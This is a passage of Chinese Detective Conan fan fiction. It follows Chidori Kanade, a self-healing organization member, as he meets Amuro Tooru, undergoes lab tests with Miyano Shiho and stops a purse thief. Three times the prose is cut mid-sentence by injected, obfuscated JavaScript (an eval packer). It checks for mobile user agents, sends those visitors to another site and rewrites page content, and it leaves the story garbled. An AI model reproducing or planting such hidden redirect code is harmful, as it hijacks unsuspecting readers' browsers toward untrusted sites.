警视厅这次抓捕犯人的速度倒是史无前例地快,听说另一班拆弹的警察赶到大楼下的同时,搜查一科的人就从人群里揪出来那个探头探脑的炸弹犯了。 大概这次他们真的意识到自己被挑衅了吧。千鸟奏很无所谓地揣测。 警视厅的几个警察人还挺好,走之前还帮千鸟奏处理了一下脸上的伤。 ——要不是他们提起这件事他差点都自己忘了。 “您对自己真下得去手。” 自从那个什么系统陪伴功能开启,那个吵闹的电子音就在千鸟奏耳边响得根本没停过。 千鸟奏不想说话,千鸟奏只想闭眼。 他可是在警视厅留到晚上十一点做完全部的笔录,最后匆匆留下一个电话号码才急急忙忙赶回安全屋。尽管这样等到他处理完后续的所有事躺回他温暖的小床上——现在已经半夜两点了。 “狗系统,还我美妙的睡眠时间。” 千鸟奏躺在床上翻过身,愤愤地捶了锤枕头。 他把头埋进枕头,深吸一口气。 既然已经安全地渡过“节点”,那么根据他原本的任务安排,组织明天一大早就会派人到安全屋来接他去组织的实验室报道。 自从两年前…… 他最近也不是没有听说过风声,组织内部有传闻最上头那位有意收编一批新的代号成员,最近一年来已经吸纳了不少实力强劲的新鲜血液。贝尔摩德前段时间还跟他提起过那位似乎有意重新建立新的威士忌行动组——当然意思是把新收编的代号成员收入他麾下。 千鸟奏当时自嘲地对着她笑了笑。他的情况贝尔摩德不可能不清楚,说是收入他的“麾下”,倒不如说是为他寻找新的能压制他的力量。这两年他的情况看起来逐渐向好,那个人已经忍不住只是把他“当作组织最锐利的一把刀”来使用了。 再者除了定期回组织记录他的身体数据他离开组织的实验室也已经有两年,他记得前段时间贝尔摩德也频繁被召回组织的实验室,大概组织的什么研究项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“顺便其实我也不知道我为什么会绑定您。不过就算不能交换心愿,我也还是一个很有用的系统的。在系统的原则之内,我可以最大限度地辅助您完成任务。” “那你的原则是什么。001。”千鸟奏又翻过身,姿势变成仰躺在床上,盯着眼前天花板上醒目的红色电子日历。 “我不记得了,宿主。” 电子音消失了有足足两分钟才重新响起,千鸟奏可以保证真的有两分钟,这可是他盯着时间一分一秒跳动的红色日历数的。 “那看来我们是三无组合。你这个连自己能帮宿主什么忙都不记得的三无系统,摊上了我这么一个连一段记忆都拿不出手的三无宿主。” 千鸟奏闭上眼。 5. 自愈 早上七点,降谷零开着车在对接人给的地址前停下。 这是组织核心代号成员之一,山崎威士忌的安全屋。 也许是安全屋之一。 组织的代号成员总是有无数个变来变去的安全屋,更别提山崎威士忌这种核心代号成员。 降谷零,不,或者应该说安室透今天的任务是接送山崎威士忌去往组织的一个医院。 在接到这个任务的那一刻,他就已经开始动用地上地下所有的人脉调查山崎威士忌这个人了。作为公安潜伏进组织的卧底,从他隐姓埋名一步步从地下做情报工作起家接近组织,到现在一步步摸索着成为组织情报组的行动成员,在得到代号前,山崎威士忌应该是他能接近的最核心的组织成员了。这一年来他获得的组织情报不少,山崎威士忌的各种真真假假的情报更是多得吓人。 根据他得到的情报来看,山崎威士忌是一个很在组织内很敏感的代号,尽管这份敏感大多来自于这个代号的前两任主人,也足以证明这位现任“山崎威士忌”的不简单。 不过奇怪的是,这个现任山崎威士忌在组织内好像相当神秘,就算是一些还算有头有脸的代号成员也对他没有什么了解,只知道他是一个黑发黑眼的杀手。只有一些比较老牌的代号成员在听到这个名字时会神秘地笑笑——就好像关于这位山崎威士忌的情报被刻意封锁过一样。 无论降谷零怎样打探,都只知道山崎威士忌是组织“最锋利的一把刀”。 在战斗力这方面,山崎威士忌在组织里的威名甚至在琴酒之上。 想到这里,降谷零的神色不由地冷下来。 不敢想象那个家伙手上得有多少条人命。 又是一个随意践踏他人生命的人。 降谷零用力地握紧手里的方向盘。 良久,还是慢慢地松开手上的力道。现在公安对组织这个庞然大物的了解还是太少,还要靠他们努力在组织里向上爬,接触到组织的核心,公安才有可能跟组织抗衡,最后消灭组织。他现在要做的是冷静。然后扮演好“安室透”这个身份。 他是安室透,组织的预备代号成员安室透,情报组的行动成员安室透,接下来要完成接送山崎威士忌前往组织的某个医院的组织成员安室透。 无论接下来要见到的那个山崎威士忌是怎样不好相处的怪脾气,怎样刁难他,他都要尽职尽责地完成他的任务。 降谷零深吸一口气,脸上扬起一个属于安室透的假笑,打开车门走下车,然后站定在山崎威士忌的门外。抬手,敲门。 千鸟奏等来接他的人其实已经很久了。 好吧,他承认他确实是提前了一点。 提前了,亿点。 没办法,贝尔摩德前几天才说过今天来接他的情报组成员是她手下的。听说业务能力很强,跟她一样是个神秘主义者,还长了一副好皮囊,当然,最重要的是贝尔摩德跟他透露今天这个来接他的人正是那个人中意的几个威士忌组代号成员候选人之一。 贝尔摩德说她觉得他赢面很大。 既然是贝尔摩德说的,那千鸟奏不得不信了。 贝尔摩德说的大概率都是真的,而且贝尔摩德可不会骗他。 总之有以上这么多原因,才导致了千鸟奏一直在想今天来接他的新人,想了一整晚——才不是什么小学生春游综合症。 再说,千鸟奏情况特殊,虽然他很乐意扮演一个正常人,每晚准时体验一下睡觉的乐趣,不过他大部分时候也只是在床上一直闭着眼躺着。 ——千鸟奏六点半就开始蹲在门口等着了。 为了给新人留下一个好印象,他特意从五点就开始收拾自己。都怪昨天那个倒霉催的炸弹犯,害得他要故意把自己变得狼狈一点,不过还好额角的伤只要把头发放下去就能轻松遮住,嘴角的一点点青紫也只是昨天看起来吓人,经过他长时间冰敷的不懈努力这会儿也已经消失得七七八八了。 千鸟奏特意为了今天的第一次见面挑选了一套好看的衣服。等到敲门声响起的那一刻他就迫不及待地站起来“咔哒”一声打开了大门。 门开的速度意想不到的快。降谷零原以为他少说要在门口等个十来分钟——毕竟有前车之鉴。组织里的成员多多少少都有些什么怪癖,更别提山崎威士忌这种级别的代号成员了。 降谷零的视线随着门后看去。 一个黑发黑眼的少年。穿着一件白色的长袖衬衫,外面套着一件灰色的编织毛衣,搭配一条米白色的长裤,虽然板着脸,但看年纪更像一个还在上学的高中生。 等等。 高中生?! 就算是心理素质强大如降谷零。 就算是在脑子里预演过一万个猎奇的见面方式的降谷零。 就算是降谷零。 就算是降谷零! 降谷零真的有点想尖叫了。 开玩笑的。 一闪而过的惊讶只有一瞬,降谷零很快冷静下来,又露出安室透的招牌微笑。 “山崎威士忌。” 像是生怕眼前的人问出什么冒犯的问题来一样,千鸟奏很迅速地自报家门。 “安室透。”降谷零很简单地跟着回应了一句。 再然后千鸟奏就这样上了降谷零的车。 尽管脑子里已经掀起了惊涛骇浪,降谷零还是完美地维持着自己表面上的体面。 这种时候大概也只有最熟悉他的人才能从一点点蛛丝马迹里看出他的心不在焉吧。 山崎威士忌怎么会是眼前这样一个还应该在上高中的少年。 降谷零控制不住地开始胡思乱想。 不过不管降谷零现在脑子里在想什么,都跟千鸟奏无关了。反正千鸟奏不会知道他心里的那些小揪揪。 千鸟奏靠在汽车的后座闭着眼睛开始想,等下进组织的实验室会不会碰到贝尔摩德和志保。不管是贝尔摩德还是宫野志保,都是千鸟奏仅剩的记忆里相处时间最久,最值得信赖的人选。 ——不过她们两个还是不要一起出现比较好。千鸟奏在心里补充这一点。 听说志保要去跟组织的新研究项目了,说不定新项目就跟这次他们叫他回实验室有关。志保上一次还告诉他她考去了牛津大学,要去那里读完博士。 也不知道她什么时候离开。 千鸟奏转头看向车窗外不断倒退的景物。 千鸟奏的安全屋本来就在郊区,组织的实验室离得不远,正想着,车就已经缓缓地开进了医院——为了掩盖这里的实验室,组织不仅将实验室的外部装修成私人医院的样子,就算对权限不高的内部成员也宣称这里是医院。 不过看样子他们也没有告诉安室透送他来的地方究竟是做什么的。 千鸟奏抬眼从反光镜里看着金发黑皮的男人。 他正向门口站岗的警卫出示自己的证件——当然被他们拦下了。 “用我的吧。”千鸟奏出声,向驾驶位的男人递出自己的权限卡。 白色的马自达顺利驶入组织的实验室。 “你要跟我来吗,”千鸟奏跳下车,向前走出几米,又突然回过头问身后站在车前不动的男人,“安室透。” 他没打算瞒着安室透什么。反正他其实早就对这种事无所谓了,再说,根据贝尔摩德的说法,安室透迟早是他的人,那就更没有什么瞒着他的必要了。他早晚要知道的,现在告诉他也不过稍微提前了一点。他会要清楚他的特殊性的——如果那位对这个叫安室透的男人足够信任的话,说不定连那些有关他的“秘密”都要交到他手上。 降谷零今天第二次被“打”了个措手不及。 从在门口被拦下告知他没有进入权限起,他就直觉这个地方不太简单,更别提他拿着山崎威士忌的权限卡刷开门禁后,旁边的守卫脸上不经意露出的了然的表情。乍一看这里的确是一家医院,但还是从各种细节上处处透出一丝诡异。山崎威士忌看着也不像是有什么外伤或者疾病要到医院检查的样子。 再加上他听闻过的某些传闻,说山崎威士忌跟组织前些年因为成功率太低而夭折的某些人体实验有关的传闻,还有山崎威士忌那张的确过分年轻的脸。他一时间想出了某些不太好的推断。 他原本打算在外面等待山崎威士忌的时候偷偷探索一下这里,就被山崎威士忌突然的邀请打了个措手不及。眼下这样好的机会,降谷零不想放过。 “山崎威士忌……大人,我可以跟着您进去吗?”安室透回话很快。 “当然,前提是跟紧我。”千鸟奏这样说着,扭头继续向实验室走着。 安室透从身后跟上他。 千鸟奏带着安室透一路走进了建筑的深处,不过很遗憾,他还是没能完成把安室透带进实验室的心愿。 因为他们在门口碰见了贝尔摩德。 “还不是时候哦,亲爱的。”贝尔摩德这样说着,一边轻轻地摸着千鸟奏的一头微卷的黑发。“就知道你要把人随便带进来,如果是平时的话我可以睁一只眼闭一只眼把他放进去,但是今天不行哦。” 千鸟奏很快明白她说的话是什么意思,看来今天他被召过来就是他想的那样。 “而且这可是个好奇心太旺盛的家伙。”贝尔摩德走到安室透身边,拍了拍他的肩膀。 千鸟奏了然地点点头,走进实验室的门,把空间留给那两个马上要相互过招的神秘主义者。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950135|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 哎,神秘主义者。 他什么时候才能真的跟神秘主义者一样神秘。 千鸟奏在心里叹气。 实验室的大门虽然在地面上那个建筑的最深处,真正的实验室本体却全都藏在地底下。千鸟奏走进电梯,直达最深的一层。 电梯一开门,熟悉的纯白映入眼帘。 无论是最外面的大厅,还是里面一个挨着一个的装着落地钢化玻璃的房间,或者存放各种仪器的房间,这里的一切都是纯白色的。 千鸟奏在迷宫般的走廊里穿行着。这样的走廊设计也是别出心裁,到处是一模一样的房间和一模一样的过道。千鸟奏跟着记忆走到其中的一间房,推开门,一个熟悉的少女果然坐在电脑前。 “志保——”千鸟奏向少女扑了过去。 少女不动声色地侧过身,又用一只手把他向旁边推开了一点。 “奏。”宫野志保的声音还是那么清清冷冷,但还是能听出一点点上扬的语调。 “今天除了提前了照常的几个检查和数据采集,还有新加了一些检测项目。”少女的声音顿了顿,“是关于你的‘自愈’。” 千鸟奏心下了然。 “他们还是不死心吗。”他开口问到。 “看来是这样,”宫野志保的声音里透出一点担忧,“我已经跟他们提出过了我对那些曾经的研究数据的看法,但是他们——” “没关系的,我不介意。”千鸟奏打断她的话,对着她无所谓地笑笑,“他们能放弃才是太阳从西边出来了。”他这样说着。 宫野志保低下头,像是叹了叹气。 “自愈”,据说是千鸟奏作为实验体出现在这个实验室的原因。 他也许是当年组织那批人体实验的实验品里唯一的成功样本,不过当年的实验由于一场意外导致整个实验基地上上下下无人生还——当然也包括那些珍贵的绝版资料。 那年的那场事故实在太过巨大太过复杂,时至今日都无从考据。就连宫野姐妹的父母也葬身在那场事故里。 千鸟奏大概是那场事故里唯一的活口。 人们在废墟中间发现了无论如何也不可能存活下来的他。 后来事实证明他也确实没有作为一个普通的人从那场事故里存活下来。031209,千鸟奏当年的实验编号,也是他们对他唯一知道的信息。 而千鸟奏本人,也由于记忆的大片完全缺失,时间感知混乱,以及诸多复杂的问题导致他自己也对他到底是怎么变成现在的样子这件事毫无头绪。 他们对他的其中一个推测是“自愈”。 不过这个“自愈”似乎是有着什么条件的。根据他看过的自己的实验数据来说,他只有在濒临死亡——或者说那个时刻他的的确确已经死了的那个状态下,会完成自身的自愈。代价是在自愈后失去在此之前的所有记忆。 所以这项实验最后停留在了三年前。也就是千鸟奏现在所拥有的所有记忆开始的那个时间点。 再后来一年里他们再怎么实验也不过就是在他身上开些口子,不过都无一例外没有再触及过他的“自愈”,倒是发现他的伤口愈合和正常人相比有些不同。 千鸟奏不是没想过那个突然冒出来的诡异系统跟他神奇的“自愈”有关。 交换记忆,然后得到心愿。 他特意选择问了系统交换“时间回溯”次数的代价。正巧就是交换记忆。 他觉得不能排除他从一开始就是因为绑定了这个系统一直付出记忆许愿要活下去才变成现在的样子的这个可能。 不过根据001所说,交换要用珍贵的东西。那眼前的假设就出现了巨大的悖论。 ——整天被用来做这些毫无人性的人体实验到底能有什么珍贵的回忆啊喂?! 不过他也不急着这么快弄清楚这些疑团,听001给他结算时的意思,一切似乎才刚刚开始。它是不是说他还没活到故事的主线开始来着?还有那句“故事支线任务重新开启”和那个诡异的2/5的进度条。 千鸟奏一边想着一边跟着宫野志保走上一个又一个仪器。 反正他还有的是时间来慢慢摸清这一切。 最后一个仪器发出“滴滴”的检测完成警报,千鸟奏走出这条走廊上最后一间房间,跟着早就在房间门口等待的几个穿着全身一体式纯白防护服的研究人员走向下一条走廊,那里有一堵更为厚重的防护门。 其中一个研究人员拿起挂在脖子上的权限卡刷开了那道防护门,千鸟奏跟着他们走进门内,最后回头对门外的少女露出一个安抚性的微笑。 那扇门在他们眼前缓缓关上,也隔绝了宫野志保最后担忧的眼神。 6. 风雨欲来 等到千鸟奏拖着有些沉重的身体重新走出实验室,外面的的天色已近傍晚。 他抬起头眯起眼睛看了看正慢慢往下降的太阳——真是倒霉,太阳都已经快落到山脚了,天空还是这样雾蒙蒙的,看来今天是看不到晚霞了。 他本来以为来实验室这一趟一上午就能结束,没想到居然已经到了这个点。 千鸟奏一边想着一边接过旁边跟着他走出来的研究员递过来的手机,然后很自然地就地一蹲——他实在有点累了,加上现在还有点贫血。 他们什么时候能改改不让带手机进实验室这条规定。千鸟奏愤愤地想着,拦着别人就算了,能不能给他多一点人文关怀。 手机里朗姆的邮件果然在他走出实验室的时候就准时发来了。跟他交代了一下下一次回实验室报到的时间。 半个月就要来一次,就算是千鸟奏也有点咬牙切齿了。 【能不能给我少派点任务,或者至少给我批个长假之类的。 山崎威士忌】 少年低着头,修长的手指在手机屏幕上飞快地敲着。 【必须给我批假。再给我拨点经费。 不然你就给我要求实验室的人给我下手轻点。】 千鸟奏想了想,又飞快地补充了一条。他连发件的格式都懒得补上了,有这种好机会,他必须要狠狠地敲诈那两个烂老头一笔。 发完最后一条信息,千鸟奏抬起头,看见了缓缓开来的白色马自达。 哇哦,真是个准时的新人。 朗姆这回看起来总算是招了个靠谱的。千鸟奏对着眼前走来的安室透轻轻抬了抬下巴。 “喂,安室君。”他对着安室透不好意思地笑了笑。 虽然看起来有点疑惑,但安室透还是走到他面前很有礼貌地回了他一个微笑。 “……能不能背我。” “……当然,山崎威士忌大人。” 安室透很顺从地走到千鸟奏面前,背对着他蹲下身,好让千鸟奏可以很轻松地借力爬到他的背上。 千鸟奏对这个上道的新人满意得不得了,决定等回去了一定要向朗姆开口早日把他留在自己身边。 好久没在组织里见到这么顺眼的人了。千鸟奏又一次轻轻感慨。他决定一路装死,让安室透顺便把他一路送回安全屋的床上。这样有人文关怀的服务可不是天天都有的,不蹭白不蹭嘛。 千鸟奏趴在安室透背上安心地闭上眼。 “还有不用叫我大人,感觉很奇怪诶。也不用叫我山崎酒。我叫你安室君的话,那你也叫我的名字好了。” “千鸟奏。我的名字。” 至少这次自我介绍比上次成功对吧。千鸟奏这样想着。 从降谷零回到组织的实验室接回山崎威士忌再把他安置回安全屋,到现在他处理完手上的工作终于坐回床上,他终于有时间停下来思考今天发生的一切。 降谷零觉得自己被巨大的信息量冲击得整个人都有些发晕。 这其实应该算是一件好事对吧。看今晚他以安室透的身份跟朗姆交接任务的情况来看,朗姆那边似乎有意放他继续接触山崎威士忌,再加上最近组织里重建威士忌组的传闻……看来安室透已经拿到了这场将在接下来半年牵动着组织内各派目光的“威士忌组重建”的闹剧的入场券——连带着背后汹涌的危险。 今天早上被山崎威士忌带着窥见了组织实验室的冰山一角后,他就找了些借口从组织暂时脱身,久违地联系了自己公安的对接人。他原本为了稳妥在拿到代号前都跟对接人提出暂时断联,今天突然联系那边险些吓了他们一跳。 但这个信息对公安来说实在太重要了。降谷零在正式开始卧底生涯前,也就是公安的单独培训阶段时就接触过公安的一个留存数据。 那是一个数十年前组织被事故破坏的人体实验室的残留数据 ——虽然那些零零散散的资料称不上什么数据,更有点像什么无从考证的都市传闻。 因为那份文件里其实没有具体的数据资料,影像资料,音频资料。只有实验室内一名公安的卧底断断续续传出来的口述资料,后来才被整理编纂成文档存放起来。 那个实验室发生事故后公安才姗姗来迟,摸索到实验室的遗址。但那时那个已经被组织清扫干净的遗址已经不能再向他们提供任何有用的资料了。唯一的作用就是向他们佐证那名卧底传达出来的那些东西真的有可能是真实存在的。 当时他提起要看那份资料,组里前辈复杂的表情他大概永远也忘不了。 不过很快他就明白他们露出那些表情的原因了。 那份资料根本没有任何的可读性。厚厚的一叠从上翻到下从前读到后完全像一个正常人逐渐精神崩溃的自言自语,其中偶尔透露出来的一些关于实验室的描述和组织疯狂的构想更是让他惊出一身冷汗。 他捧着那叠资料在资料室从早坐到晚,走出资料室后等在门口的前辈沉重地拍拍他的肩膀,告诉他当年那个卧底精神压力太大,传递出来的信息不一定准确,他们对这份资料专门分析过,其中有很多明显是已经分不清幻象和现实的胡言乱语,没必要太往心里去。 他们把这份资料保存下来一是为了纪念卧底先生曾为推翻组织这份事业作出的贡献,二是因为这是他们对组织的地下实验唯一的了解了。 现在属于公安的第二次机会来了。就摆在降谷零眼前。 无论如何,为了在组织里往上爬也好,为了了解组织的地下实验也好。“安室透”必须要进一步接触山崎威士忌。 这场“威士忌选拔”的大戏,无论是“安室透”还是降谷零,都必须赢下这一局。 鬼使神差的,他又想起山崎威士忌,那个黑发黑眼,看起来本该还在上学的少年。 “千鸟奏。我的名字。” 少年的身体远比想象中的要轻,轻到他当时背着他站起来时险些用力用过了头。 千鸟奏。他的名字。 降谷零又觉得有些发晕。 不是山崎威士忌,而是千鸟奏。 离开山崎威士忌的代号,他应该怎么来看待千鸟奏? 他想起那张特殊的实验室权限卡,想起少年孤身走进实验室的身影,想起贝尔摩德附在他耳边模棱两可的话语,想起朗姆告诉他接回山崎威士忌后必要时关照一下他的身体需求的告诫,想起朗姆要他负责照顾接下来一段时间山崎威士忌饮食起居的新任务,想起少年闭上的双眼,想起他没有血色的脸,想起空气里隐隐的血腥味,想起组织里零零星星的传闻。 十恶不赦的组织成员?适龄的、该去上学的高中生?组织实验的参与者——或者说,组织的实验体? 降谷零沉默地闭上眼。 - 听到安室透开着车离开的声音,千鸟奏马上睁开眼随意地在床上重新瘫成一个“大”字形。 聪明如他,一路闭眼装睡回来,甚至都不用自己从车上走下来爬回床上,安室透居然主动背着他进门,把他放在床上——朗姆到底是从哪儿挖来的这种绝世大好人?! 千鸟奏简直心花怒放。就算这是安室君为他量身打造的honey trap他也心甘情愿地认下了。 天知道安室君比琴酒那个变态好上了多少倍! 琴酒那个变态……从来不会答应他懒惰的请求就算了,每次他从实验室回来连一点点休息时间都不给他,训练和任务居然还全部照常。气得他每次不管身上的伤抄起手边的武器就跟琴酒对打起来。 千鸟奏其实早就习惯了组织的那点实验。可能是研究他研究了太久吧,从他有记忆的那天开始实验的内容就总是显得有些单调。除了对他身体的各项检测总在变着花样地更新,测量他身体触发“自愈”极限的事记忆里再没有过——除了他们隔三岔五就不死心地想往他身上开个几刀做点实验查看他还能不能快速自愈。总之还在他的接受范围内,起码实验室的人给他开刀开得还算艺术,不会像出任务里受的伤那么疼那么没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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至少这种时候他还像个人。 所以他一向不算抗拒组织的那些“实验”。换句话说,他早就已经对那些无所谓了。 他们今天只是从他身上抽了点血。好吧,其实是抽走了数不过来多少升的血。不过千鸟奏摸着他们顺手帮他重新缝好的腹部的伤口,还顺手帮他换了新的绷带。 算他们有点人情味。 这伤是他半个月前某个任务里自己故意撞上对手的长剑撞出来的贯穿伤。跟他出任务的琴酒当场就要求他跟他解释清楚故意往剑上撞的动机,他还是用着“这样可以降低任务对象警惕性”这样的理由搪塞过去。 琴酒居然敢说他是变态。千鸟奏当场就咂咂舌,也不知道变态的到底是谁,工作狂琴酒。自从拿到现在的代号,他可是开始慢慢感受到了摸鱼的快乐,所以能拒掉的任务都统统推掉或者留给别人了。也就只有这个变态琴酒还整天把自己浸泡在任务的世界里。 说起这个,想到自己即将为自己挣来的假期,千鸟奏急忙翻出手机查看朗姆有没有给他信息回信。 【From:朗姆 可以。新的卡明天会由安室透转交给你,组织最近都不会给你派新任务,想做任务自己接。 ——但是有一个条件。组织的三个还在代号考察期的新成员都交给你带。你全权负责他们的任务以及后续的代号考察任务。资料明天会发送到你邮箱。 安室透会负责照顾你接下来几个月的饮食起居,有必要的话你可以要求他住到你那里去,这件事由你自己定夺。】 千鸟奏欢呼一声,随手把手机一丢,开始欢快地构想起明天要怎么通知安室君搬过来跟他住。 哦对,差点忘了,还要先问过安室君的意见。 他可不是琴酒那样不通人情的变态。 看来威士忌组重建的事情已经开始步入正轨了。 想到这里,千鸟奏黑色的眼睛轻轻眯起。 意思是除了安室透,还会有两个新人陆陆续续来他这里报到吗。 千鸟奏摇摇头,在床上滚了一圈,决定下次让安室君一起帮他把睡衣也换上好了,这样他就不用等下再爬起来换身衣服。 威士忌组又要回来了。千鸟奏在床上翻滚了一圈,姿势由躺变成趴,双手从底下环住自己松软的枕头,深吸一口气一股脑把整个脸都埋进枕头里。 风雨欲来啊。他闷闷地长叹一声。 7. 缓解尴尬的方法 千鸟奏又一次准时蹲守在了门口。 他今天选了一件宽松的灰色卫衣和一条黑色的运动裤,那件卫衣的大帽子戴上能一次性挡住他大半张脸——他还特意拿出了他很久不带的小配饰,一个无镜片的黑框眼镜。 哼哼,他可是经常看见路边有国中生戴这样的眼镜,有次他把这个眼镜框戴出门,贝尔摩德可是夸过好看。千鸟奏对贝尔摩德的审美一向是心服口服。那次贝尔摩德说他戴这个眼镜框很适合他,他立马心花怒放又转头买了一堆各式的眼镜框。不过平时要出行动任务戴上这个眼镜框总是不太方便,他后来就很少再拿出来这些镜框戴了。 安室君,等着被我迷倒吧! 千鸟奏信誓旦旦地想着。 今天一定拿下安室君,让他心甘情愿死心塌地地做他威士忌组的人。 早上八点。 千鸟奏的房门果然被准时敲响了。 来人不出意外地正是安室透,他一手拿着几分整整齐齐的文件,一手提着个塑料袋,看见门后戴着一个黑色大镜框的少年,先是愣了愣,然后很快照例对着他露出了一个熟悉的笑容。 “山崎……不,千鸟君,早上好。” “早上好。”千鸟奏点点头,侧身为安室透让出一条进门的路来。 这还是降谷零第一次正式踏入千鸟奏的安全屋。 当然昨晚那种情况不同,从他背着“熟睡”的少年进门到轻轻把他安置回床上,再到他转身离开,整个过程及其迅速,不超十分钟,就算他心里冒出过趁这个机会观察观察千鸟奏安全屋的想法,也很快被他压下去。 总会有再回来的机会的,他现在需要的是稳妥地完成眼下的任务,稳妥地一点一点接近千鸟奏。再说就算千鸟奏表面上看起来还算正常,他也不能保证他私底下不会有那种在家里装监控的爱好——能在这个组织里活下来的不管怎样都不会是什么正常人吧。 现在看来,显然他当时做下的判断是对的。 才过去不到12个小时的时间,他就光明正大地被千鸟奏带着进了他的安全屋。 虽然现在他正站在安全屋的门口愣神。 他看着千鸟奏脚上的黑猫毛绒拖鞋。 ——他是不是也该等换了拖鞋再进门来着?! 不知道为什么,千鸟奏总觉得现在的气氛有些诡异的尴尬。 001,001。他在心里喊着系统的名字。 “终于有我的戏份了吗宿主。”电子音很快在千鸟奏的脑海里响起。 “这么久没有想起过我,我以为我已经被作者删了。^_^” “别废话。第一次请别人到家里做客应该怎么避免尴尬?”千鸟奏没管系统絮絮叨叨的自言自语,只是急切地向它提问。 “其实我不是搜索引擎但是……好吧,” “以下是‘第一次请别人到家做客应该怎么避免尴尬’的搜索结果……一、提前准备:降低陌生感……二、接待时:用细节缓解紧张……三、聊天引导:避免冷场……” 提前准备?!他居然没有想到这一点,千鸟奏在心里默默懊悔了两秒,又很快决定继续向系统发问。 “那第二条呢,用细节缓解紧张是什么意思?” “二、接待时:用细节缓解紧张。主动带客人进行参观,避免对方因不熟悉环境而尴尬……” “停停停,我知道了,你先闭嘴。” 千鸟奏很快抬起头,却发现安室透还愣愣地低着头站在门口—— “安室君?”他疑惑地开口。 “你不进来吗?” 眼前的安室透好像在斟酌着什么,顿了顿,总算下定决心似地抬头,向千鸟奏发出了今天的第一声疑问。 “千鸟君,”他的语调都因为疑惑而变得有些扬起,“我需不需要换鞋?” 千鸟奏猛地想起自己门口空空荡荡的鞋架,又低头看了看自己脚上穿着的黑色小猫毛绒拖鞋。 他现在真的有点想用掉一次时间回溯回溯到今早安室透还没到他家之前了。 总之,这就是今早发生的所有事。 也是现在大中午千鸟奏正带着安室透坐在附近商场的某个日料店里的原因。千鸟奏端起店员刚刚端上来的茶水,不紧不慢地抿了一口。 这家店的三文鱼真的品质很好。 虽然从他特殊的身体状况上来说,千鸟奏其实也是不用进食的,或者说进食这类活动跟睡觉一样,对他根本没用。 他也看过组织里那群研究员对他的研究,不过那些实验报告实在太冗长了,还处处是他看不明白的数据和专业用语,他每次看过两眼就放弃了。 志保倒是好心地给他解释过那些实验报告的意思,好像结论就是他的身体是以一种很诡异的方式运行的吧。 大意是理论上来说他不用像普通人一样吃饭睡觉,他的身体像一个能量的无底洞,时时刻刻高速地运行着,不向外吸收任何东西,包括他们向他注射任何剂量的药物和毒药都不起任何作用。 而每到一个他使用身体能量的临界点——就像他之前一刻不停高强度地完成组织的任务时那样,一旦他的身体能量耗尽,身体超负荷运行,他就会直接一头栽倒过去,不管是身体的各项数据还是呼吸心跳都无限接近濒死状态,一直沉睡到亏空的身体能量补充完整才会再次醒来。为此,组织特意为他配备了全套的身体监控设备,并专门派人负责管理他出任务的频率。 剩下的云里雾里弯弯绕绕的一通解释千鸟奏其实没听进去多少,大概的情况他自己心里清楚,只不过想看看他们天天对着他实验来实验去的到底有没有得出些什么结论。 虽然睡不着觉这种事他也没办法勉强自己,更别提药物也完全对他无效,他后来也还是很乐意保持进食的习惯的。 虽然他的进食也完全没有规律,想起来这件事就找点东西吃吃,他的味觉总还是在的。 就是当时贝尔摩德带他尝的三文鱼刺身,简直让他打开了新世界的大门。 三文鱼。世界上怎么会有这么完美的食物。 怎么会有这样怎么做都好吃的食物。 完美的。 想到这里,千鸟奏又端起手边的茶杯抿了一口。 然后他拿起菜单,毫不犹豫地选上了所有跟三文鱼有关的食物,再把菜单放回桌子上,用手轻轻一推,推到桌子那头安室透的面前。 “不用拘谨,安室君,这顿我请。”千鸟奏对着眼前的安室透笑起来。 降谷零礼貌地谢过千鸟奏,随意翻了翻已经被千鸟奏选过的菜单。 三文鱼刺身,三文鱼手握,三文鱼军舰,三文鱼波奇饭…… 三文鱼,三文鱼,三文鱼和三文鱼? 一页,两页,三页……点的全部都是三文鱼?! 降谷零看着菜单沉默了很久,还是翻过满满的几页三文鱼默默点了一份豚骨拉面,又默默地把菜单递给了一旁等待的店员。 有这么爱吃三文鱼吗喂?! 吃过午饭,千鸟奏带着安室透走在回家的路上,想着刚刚吃的美味三文鱼,千鸟奏忍不住嘴角都要上扬起来。 如果这个时候马路上没有窜出来一个骑着车一只手还死死抱着一个跟他本人格格不入的精致女士提包的男人——那个男人一边慌忙地朝着千鸟奏他们这边的方向拼命拧着摩托车的油门,一边不安地频频回头。 “给我站住!” 紧跟着那个男人的身影追来的是一个跑得飞快的警察。 千鸟奏下意识地跟着那个警察的声音翻过路边的栏杆,一个翻身干脆利落地直接蹿到了马路上,一个飞扑扑倒了那个慌忙骑着车往前逃的男人。 千鸟奏顺手夺下男人手里抱着的女士提包,就地翻滚一圈,很快卸了和快速行驶的摩托车冲撞的力站起身。而那个毫无防备就被扑倒的男人跟着在马路中间滚了几圈,摔出去几米远,他的那辆摩托车也侧翻在地上向着另一边滑行一段距离才堪堪停下。 千鸟奏认真地拍拍卫衣上蹭到的灰,那个追着男人的警察很快小跑着跑到了他的面前。 卷发,黑墨镜,那一身气质,如果不是他的那一身警服,千鸟奏一晃眼还以为看见了哪里来的组织的成员。 千鸟奏伸手递过那个从男人手里夺下来的女士提包。 卷发的警察先生接过包,又转身铐起那个还在地上爬不起来的男人。处理完这一切,他拍拍手走到千鸟奏身边。 “谢谢。”卷发的警察先生这样说着 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那个该死的抢劫犯居然还在路边停了辆摩托车!松田阵平忍不住骂了一声,很迅速地跟着提起追赶犯人的速度。如果他不能从路边找到一辆车的话,再过个两三个路口,开着摩托车的犯人就要真的把他甩在身后了。 “站住!”他喊起来。 